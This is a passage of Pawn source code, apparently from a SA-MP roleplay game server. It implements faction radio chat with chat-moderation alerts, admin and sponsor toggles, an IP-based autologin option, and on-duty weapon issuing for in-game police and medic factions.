						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Corporal {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Private {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					SendRadioMessage(3, COLOR_BLUE, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}NG-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}

					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)
				{
						if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** Chief Paramedic {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Paramedic Field {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Ambulance Commander {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Paramedic in charge {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Fire Paramedic {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Candidate Fire Paramedic {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Private {FFFFFF}%s{3385ff}(radio): {FFFFFF}%s{3385ff}, over. **", sendername, result); }
					SendRadioMessage(4, COLOR_BLUE, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}MED-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}
					

					//printf("%s", string);
					return 1;
				}
				//else if(PlayerInfo[playerid][pLeader] == 21 || PINFO[playerid][pSoldier] != 0)
				//{
					//if(PlayerInfo[playerid][pSoldier] != 0) { format(string, sizeof(string), "[R]: {6699FF}Soldier {3399FF}%s:{FFFFFF} %s", sendername, result); }
					//else if(PlayerInfo[playerid][pLeader] == 21) { format(string, sizeof(string), "[R]: {6699FF}Leader {3399FF}%s:{FFFFFF} %s", sendername, result); }
					//SendSolMessage(COLOR_PDBLUE, string);
					//SendSolDMessage(COLOR_PDBLUE, string);
				//for(new i; i < sizeof(SusWords); i++)
				//{
				 //if(PINFO[playerid][pAdmin] < 12)
					//{
					         //if(strcmp(result, LastMessageWarned[playerid], false))
         //{
					// if(strfind(result, SusWords[i], true) != -1)
					 //{
						 // new name[25];
						 // GetPlayerName(playerid, name, sizeof(name));
						 // format(string, sizeof(string), "[AD-{00FF00}SOL-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						 // SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						 // strcpy(LastMessageWarned[playerid],result,149);
						 // break;
						 // }
				//	 }
					 //}
				//}
					//printf("%s", string);
					//return 1;
			//	}
				else if(gTeam[playerid] == TEAM_MEDIC ||PlayerInfo[playerid][pMember]==4||PlayerInfo[playerid][pLeader]==4)
				{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[R]: {6699FF}Leader {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[R]: {6699FF}Sub-Leader {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[R]: {6699FF}R5 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[R]: {6699FF}R4 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[R]: {6699FF}R3 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[R]: {6699FF}R2 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[R]: {6699FF}R1 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					SendRadioMessage(4, COLOR_PDBLUE, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}MED-/R{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}
					//printf("%s", string);
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_SINA3, "You are not a Cop/medic");
					return 1;
				}
			}
			return 1;
		}







		// Kir System :| by Sina :DDDDD

//
//                                 Start
/*
	  if(strcmp(cmd, "/kir", true) == 0 || strcmp(cmd, "/dick", true) == 0)// Kir :| Va Dick :|
		{
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(IsPlayerConnected(playerid))
			{
					if(RangerKir[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "Your dick goes up.");
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					SetPlayerAttachedObject(playerid, 0, 321, 1, -0.2940, 0.4709, -0.0110, 90.5999, -28.8000, -160.9000, 1.0000, 1.0000, 1.0000, 0xFFFFFFFF, 0xFFFFFFFF);
					RangerKir[playerid] = 1;
					}
					else if(RangerKir[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "Your dick goes down.");
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					RemovePlayerAttachedObject(playerid, 0);
					RangerKir[playerid] = 0;
					}
					return 1;
				}
				}
				*/
				// Kir System :| by Sina :DDDDD
				if(strcmp(cmd, "/notp", true) == 0 || strcmp(cmd, "/noteleport", true) == 0)// Wh :|
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(IsPlayerConnected(playerid))
			{
					if(NoTP[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoTP]:{00FF00} Enabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s enabled NoTP for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoTP[playerid] = 1;
					}
					else if(NoTP[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoTP]:{FF0000} Disabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s disabled NoTP for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoTP[playerid] = 0;
					}
					return 1;
				}
				}
				
				
				
			// AutoLogin by SiNaGaMeR
			if(strcmp(cmd, "/AutoLogin", true) == 0)// AutoLogin by SiNaGaMeR :|
			{
			if(IsPlayerConnected(playerid))
			{
					if(PlayerInfo[playerid][pAuto] == 0)
					{
					SendMessage(playerid, COLOR_WHITE, "Autologin: {00ff00}enabled{ffffff}.");
					PlayerInfo[playerid][pAuto] = 1;
				  SaveKonVal(playerid, "pAuto", 1);
				  new tmpPlayerIp[120];
				  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
				  SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
				  
				  // Autologine pin
				  if(LockAcc[playerid] != 1)
				  {
				 PlayerInfo[playerid][pAutoPIN] = 1;
				SaveKonVal(playerid, "pAutoPIN", 1);
				}
				if(LockAcc[playerid] == 1)
				{
				 PlayerInfo[playerid][pAutoPIN] = 0;
				SaveKonVal(playerid, "pAutoPIN", 0);
				}
				
					}
					else if(PlayerInfo[playerid][pAuto] == 1)
					{
				new AutoIP2[100];
				   GetPlayerIp(playerid, AutoIP2, sizeof(AutoIP2));
					SendMessage(playerid, COLOR_WHITE, "Autologin: {ff0000}disabled{ffffff}.");
					PlayerInfo[playerid][pAuto] = 0;
				  SaveKonVal(playerid, "pAuto", 0);
				  new tmpPlayerIp[120];
				  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
				  SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
				 PlayerInfo[playerid][pAutoPIN] = 0;
				SaveKonVal(playerid, "pAutoPIN", 0);
					}
					return 1;
				}
				}
				
				
				
				
			if(strcmp(cmd, "/vjump", true) == 0)
			{
			if(PINFO[playerid][pAdmin] < 9 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You must sit in a vehicle.");
			new veh = GetPlayerVehicleID(playerid);
			new messager[144];
			if(IsPlayerConnected(playerid))
			{
					if(vJump[veh] == 0)
					{
					vJump[veh] = 1;
					format(messager, sizeof(messager), "{ffffff}Admin %s has put jump on vehicle id %d",RPName(playerid), veh);
                    AdminWarn(messager);
					}
					else if(vJump[veh] == 1)
					{
					vJump[veh] = 0;
					format(messager, sizeof(messager), "{ffffff}Admin %s has taken jump from vehicle id %d",RPName(playerid), veh);
                    AdminWarn(messager);
					}
					return 1;
				}
				}
				
				
				
			if(strcmp(cmd, "/autojetpack", true) == 0)
			{
			if(PINFO[playerid][pAdmin] < 2 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(IsPlayerConnected(playerid))
			{
					if(AutoJet[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Auto-Jet]: {00FF00}Enabled{FF00FF}.");
					AutoJet[playerid] = 1;
					SCM(playerid, COLOR_YELLOW2, "Now you can use jetpack with numpad 4.");
					}
					else if(AutoJet[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Auto-Jet]: {FF0000}Disabled{FF00FF}.");
					AutoJet[playerid] = 0;
					SCM(playerid, COLOR_YELLOW2, "Now you can't use jetpack with numpad 4.");
					}
					return 1;
				}
				}
				
				
				
				
				
				
				if(strcmp(cmd, "/autogm", true) == 0)
			{
			if(PINFO[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(IsPlayerConnected(playerid))
			{
					if(AutoGM[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Auto-GM]: {00FF00}Enabled{FF00FF}.");
					AutoGM[playerid] = 1;
					SCM(playerid, COLOR_YELLOW2, "Now you can use godmode with numpad 6.");
					}
					else if(AutoGM[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "{FF00FF}[Auto-GM]: {FF0000}Disabled{FF00FF}.");
					AutoGM[playerid] = 0;
					SCM(playerid, COLOR_YELLOW2, "Now you can't use godmode with numpad 6.");
					}
					return 1;
				}
				}
				
				
				
				
			if(strcmp(cmd, "/AutoSleep", true) == 0)// AutoSleep by SiNaGaMeR :|
			{
			if(IsPlayerConnected(playerid))
			{
					if(PlayerInfo[playerid][pAutoS] == 0)
					{
					SendMessage(playerid, COLOR_WHITE, "Autosleep: {00ff00}enabled{ffffff}.");
					PlayerInfo[playerid][pAutoS] = 1;
				  SaveKonVal(playerid, "pAutoS", 1);
					}
					else if(PlayerInfo[playerid][pAutoS] == 1)
					{
					SendMessage(playerid, COLOR_WHITE, "Autosleep: {ff0000}disabled{ffffff}.");
					PlayerInfo[playerid][pAutoS] = 0;
				  SaveKonVal(playerid, "pAutoS", 0);
					}
					return 1;
				}
				}
				
				if(strcmp(cmd, "/hp", true) == 0)// HP by SiNaGaMeR :|
			{
			if(IsPlayerConnected(playerid))
			{
					if(HPShow[playerid] == 0)
					{
					new sinasit[8];
					PlayerTextDrawShow(playerid, HP_TD[playerid]);
					HPShow[playerid] = 1;
					format(sinasit, sizeof(sinasit), "%.2f", HEALTH[playerid]);
			        PlayerTextDrawSetString(playerid, HP_TD[playerid], sinasit);
					}
					else if(HPShow[playerid] == 1)
					{
					PlayerTextDrawHide(playerid, HP_TD[playerid]);
					HPShow[playerid] = 0;
					}
					return 1;
				}
				}
				
				
				if(strcmp(cmd, "/fps", true) == 0)// FPS by SiNaGaMeR :|
			{
			if(IsPlayerConnected(playerid))
			{
					if(FPSShow[playerid] == 0)
					{
					PlayerTextDrawShow(playerid, FPS[playerid]);
					FPSShow[playerid] = 1;
					}
					else if(FPSShow[playerid] == 1)
					{
					PlayerTextDrawHide(playerid, FPS[playerid]);
					FPSShow[playerid] = 0;
					}
					return 1;
				}
				}
				if(strcmp(cmd, "/gps", true) == 0)// GPS
			{
			if(IsPlayerConnected(playerid))
			{
					if(GPSShow[playerid] == 0)
					{
					if(PINFO[playerid][pGPS] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't GPS");
					PlayerTextDrawShow(playerid, GPSS[playerid]);
					GPSShow[playerid] = 1;
					GPSTimer[playerid] = SetTimerEx("GPSTimerz", 1000, true, "i", playerid);
					if(PINFO[playerid][pGPS] != 9999)
					{
					PlayerInfo[playerid][pGPS] -= 1;
				    SaveKonVal(playerid, "pGPS", PINFO[playerid][pGPS]);
				    }
				    if(PINFO[playerid][pGPS] == 0)
				    {
				    SCM(playerid, COLOR_SINARANG, "Your GPS broken, buy another.");
					}
					}
					else if(GPSShow[playerid] == 1)
					{
					PlayerTextDrawHide(playerid, GPSS[playerid]);
					GPSShow[playerid] = 0;
					KillTimer(GPSTimer[playerid]);
					GPSTimer[playerid]=0;
					}
					return 1;
				}
				}
				/*
				if(strcmp(cmd, "/ping", true) == 0)// PING by SiNaGaMeR :|
			{
			if(IsPlayerConnected(playerid))
			{
					if(PINGShow[playerid] == 0)
					{
					PlayerTextDrawShow(playerid, RangerPing[playerid]);
					PINGShow[playerid] = 1;
					}
					else if(PINGShow[playerid] == 1)
					{
					PlayerTextDrawHide(playerid, RangerPing[playerid]);
					PINGShow[playerid] = 0;
					}
					return 1;
				}
				}
				
				*/
				
				
				
				if(strcmp(cmd, "/sar", true) == 0)// SAR by SiNaGaMeR :|
			{
			if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You're not authorized to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
			   if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] >= 1)
			   {
				if(HSAR[playerid] == 0)
				{
				new hlp[144];
				format(hlp, sizeof(hlp), "[Helper-Warn]: {FFFFFF}Helper %s has toggled Staff Auto Respond mode on.", PlayerInfo[playerid][pName]);
				SendHelperMessage(COLOR_SINAABI, hlp);
					HSAR[playerid] = 1;
				new str[40];
				 format(str , sizeof(str) , "SAR Status: ~g~Enabled");
				PlayerTextDrawSetString(playerid, SAR[playerid], str);
				}
				else if(HSAR[playerid] == 1)
				{
				new hlp[144];
				format(hlp, sizeof(hlp), "[Helper-Warn]: {FFFFFF}Helper %s has toggled Staff Auto Respond mode off.", PlayerInfo[playerid][pName]);
				SendHelperMessage(COLOR_SINAABI, hlp);
					HSAR[playerid] = 0;
				new str[40];
				 format(str , sizeof(str) , "SAR Status: ~r~Disabled");
				PlayerTextDrawSetString(playerid, SAR[playerid], str);
				}
			return 1;
			 }
			 
			   if(PINFO[playerid][pAdmin] >= 1)
			   {
			  if(ASAR[playerid] == 0)
				{
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s has toggled Staff Auto Respond mode on.", PINFO[playerid][pName]);
				AdminWarn(sttrr);
					ASAR[playerid] = 1;
				new str[40];
				 format(str , sizeof(str) , "SAR Status: ~g~Enabled");
				PlayerTextDrawSetString(playerid, SAR[playerid], str);
				}
			   else if(ASAR[playerid] == 1)
			   {
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s has toggled Staff Auto Respond mode off.", PINFO[playerid][pName]);
				AdminWarn(sttrr);
					ASAR[playerid] = 0;
				new str[40];
				 format(str , sizeof(str) , "SAR Status: ~r~Disabled");
				PlayerTextDrawSetString(playerid, SAR[playerid], str);
			   }
			return 1;
			   }
					
					
					
					
					
				}
				}
				
				
				
				
				
				
				if(strcmp(cmd, "/nogoto", true) == 0)// Wh :|
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(IsPlayerConnected(playerid))
			{
					if(NoGoto[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoGoto]:{00FF00} Enabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s enabled NoGoto for %sself.", PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoGoto[playerid] = 1;
					}
					else if(NoGoto[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoGoto]:{FF0000} Disabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s disabled NoGoto for %sself.", PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoGoto[playerid] = 0;
					}
					return 1;
				}
				}
				if(strcmp(cmd, "/nopm", true) == 0)// Wh :|
		{
		if(PINFO[playerid][pAdmin] < 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(IsPlayerConnected(playerid))
			{
					if(NoPM[playerid] == 0)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoPM]:{00FF00} Enabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s enabled NoPM for %sself.", PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoPM[playerid] = 1;
					}
					else if(NoPM[playerid] == 1)
					{
					SendMessage(playerid, COLOR_SINA2, "[NoPM]:{FF0000} Disabled.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s disabled NoPM for %sself.", PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
				//AdminWarn(sttrr);
					NoPM[playerid] = 0;
					}
					return 1;
				}
				}

//                                          End











		//---------------------------------[aduty]-------------------//

	//----------------------------------[duty]-----------------------------------------------
		if(strcmp(cmd, "/duty", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				if(IsACop(playerid))
				{
					if (!PlayerToPoint(3, playerid,236.390625,109.871276,1003.225708) && PINFO[playerid][pPhousekey] == 9999) return SCM(playerid,COLOR_SINA3,"You are not in police armoury or your home.");
					if (!PlayerToPoint(3, playerid,236.390625,109.871276,1003.225708) && TooHouse[playerid] != PINFO[playerid][pPhousekey] && PINFO[playerid][pPhousekey] != 9999) return SCM(playerid,COLOR_SINA3,"You are not in police armoury or your home.");
						if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
						if(OnDuty[playerid] == 0)
						{
							if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)
							{
							format(string, sizeof(string), "Officer %s took a Badge and a Gun from %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							if(PINFO[playerid][pGunLic] >= 1)
							{
							GivePlayerKolang(playerid, 24, 1000);
							GivePlayerKolang(playerid, 3, 0);
							GivePlayerKolang(playerid, 31, 1000);
							GivePlayerKolang(playerid, 25, 1000);
							GivePlayerKolang(playerid, 29, 1000);
							GivePlayerKolang(playerid, 33, 1000);
							GivePlayerKolang(playerid, 41, 1000);
						}
							else
							{
							SCM(playerid,COLOR_SINA3,"You haven't a Weapon license.");
							}
							SetPlayerZereh(playerid, 100);
							SetPlayerKoon(true, playerid, 100);
							OnDuty[playerid] = 1;
							}
							else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
							{
							format(string, sizeof(string), "Agent %s took a Badge and Gun from %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							if(PINFO[playerid][pGunLic] >= 1)
							{
							GivePlayerKolang(playerid, 24, 1000);
							GivePlayerKolang(playerid, 3, 0);
							GivePlayerKolang(playerid, 31, 1000);
							GivePlayerKolang(playerid, 25, 1000);
							GivePlayerKolang(playerid, 29, 1000);
							GivePlayerKolang(playerid, 33, 1000);
							GivePlayerKolang(playerid, 41, 1000);
							}
							else
							{
							SCM(playerid,COLOR_SINA3,"You haven't a Weapon license.");
							}
							SetPlayerZereh(playerid, 100);
							SetPlayerKoon(true, playerid, 100);
							OnDuty[playerid] = 1;
							}
							else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
							{
							format(string, sizeof(string), "Agent %s took a Badge and Gun from %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							if(PINFO[playerid][pGunLic] >= 1)
							{
							GivePlayerKolang(playerid, 24, 1000);
							GivePlayerKolang(playerid, 3, 0);
							GivePlayerKolang(playerid, 31, 1000);
							GivePlayerKolang(playerid, 25, 1000);
							GivePlayerKolang(playerid, 29, 1000);
							GivePlayerKolang(playerid, 33, 1000);
							GivePlayerKolang(playerid, 41, 1000);
							}
							else
							{
							SCM(playerid,COLOR_SINA3,"You haven't a Weapon license.");
							}
							SetPlayerZereh(playerid, 100);
							SetPlayerKoon(true, playerid, 100);
							OnDuty[playerid] = 1;
							}
							else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
							{
							format(string, sizeof(string), "Guard %s took a Badge and Gun from %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							if(PINFO[playerid][pGunLic] > 0)
							{
							GivePlayerKolang(playerid, 24, 1000);
							GivePlayerKolang(playerid, 3, 0);
							GivePlayerKolang(playerid, 31, 1000);
							GivePlayerKolang(playerid, 25, 1000);
							GivePlayerKolang(playerid, 29, 1000);
							GivePlayerKolang(playerid, 33, 1000);
							GivePlayerKolang(playerid, 41, 1000);
							}
							else
							{
							SCM(playerid,COLOR_SINA3,"You haven't a Weapon license.");
							}
							SetPlayerZereh(playerid, 100);
							SetPlayerKoon(true, playerid, 100);
							OnDuty[playerid] = 1;
							}
						}
						else if(OnDuty[playerid] == 1)
						{
							if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
							{
							format(string, sizeof(string), "Agent %s places %s Badge and Gun in %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"),(PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							RemovePlayerAttachedObject(playerid, 7);
							ResetPlayerKolang(playerid);
							SetPlayerZereh(playerid, 0);
							OnDuty[playerid] = 0;
							}
							else if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)
							{
							format(string, sizeof(string), "Officer %s places %s Badge and Gun in %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"),(PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							RemovePlayerAttachedObject(playerid, 7);
							ResetPlayerKolang(playerid);
							SetPlayerZereh(playerid, 0);
							OnDuty[playerid] = 0;
							}
							else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
							{
							format(string, sizeof(string), "Guard %s places %s Badge and Gun in %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"),(PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							RemovePlayerAttachedObject(playerid, 7);
							ResetPlayerKolang(playerid);
							SetPlayerZereh(playerid, 0);
							OnDuty[playerid] = 0;
							}
							else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
							{
							format(string, sizeof(string), "Officer %s places %s Badge and Gun in %s locker.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"),(PINFO[playerid][pSex]==1)?("his"):("her"));
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							RemovePlayerAttachedObject(playerid, 7);
							ResetPlayerKolang(playerid);
							SetPlayerZereh(playerid, 0);
							OnDuty[playerid] = 0;
							}
						}
				}
				else if(PlayerInfo[playerid][pMember] == 4||PlayerInfo[playerid][pLeader] == 4)
				{
					if(MedicDuty[playerid] == 1)
					{
						SendMessage(playerid, COLOR_MEDIC, "You are now Off Duty from your Medic job and will not receive calls anymore.");
						MedicDuty[playerid] = 0;
						Medics -= 1;
					}
					else
					{
						SendMessage(playerid, COLOR_MEDIC, "You are now On Duty with your Medic job and will receive calls from people in need.");
						MedicDuty[playerid] = 1;
						Medics += 1;

					}
				}

				else
				{
					SendMessage(playerid, COLOR_SINA3, "You are not a Cop/Medic.");
				}
			}
			return 1;
		}

	//-------------------[Jobduty]-----------------------------------------------
		if(strcmp(cmd, "/jobduty", true) == 0)
		{
				if(PlayerInfo[playerid][pJob] == 7)
				{
					if(JobDuty[playerid] == 1)
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now Off Duty from your Car Mechanic Job and will not receive calls anymore.");
						JobDuty[playerid] = 0;
						Mechanics -= 1;
					}
					else
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "You are now On Duty with your Car Mechanic Job and will receive calls from people in need.");
						JobDuty[playerid] = 1;
						Mechanics += 1;

					}
					 return 1;
				}
	else
	{
	SCM(playerid, COLOR_LIGHTBLUE, "You are not a car mechanic.");
	return 1;
	}
	}
	//----------------------------------[departments]-----------------------------------------------
	   if(strcmp(cmd, "/departments", true) == 0 || strcmp(cmd, "/d", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/D)epartments <department chat>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
